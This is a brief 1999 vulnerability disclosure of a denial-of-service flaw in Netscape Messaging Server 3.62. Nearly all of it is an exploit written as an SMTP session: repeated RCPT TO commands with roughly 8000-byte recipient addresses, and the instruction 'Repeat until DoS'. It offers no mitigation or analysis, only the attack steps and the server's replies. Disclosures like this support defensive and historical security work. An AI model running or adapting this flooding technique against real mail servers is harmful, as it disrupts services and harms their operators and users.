Netscape Messaging Server RCPT TO DoS Vulnerability

Example and exploit by Nobuo Miwa <n-miwa@lac.co.jp>

220 victim.workgroup ESMTP server (Netscape Messaging Server -
Version 3.62) ready Thu, 28 Oct 1999 12:13:17 +0900
helo rcpt2
250 victim.workgroup
mail from : rcpt2
250 Sender <rcpt2> Ok
rcpt to: rcpt2@aaaaaaaaaaaaa............. 8000 bytes
250 Recipient <rcpt2@aaaaaaaaaaaa....
rcpt to: rcpt2@aaaaaaaaaaaaa............. 8000 bytes
250 Recipient <rcpt2@aaaaaaaaaaaa....

Repeat until DoS


 

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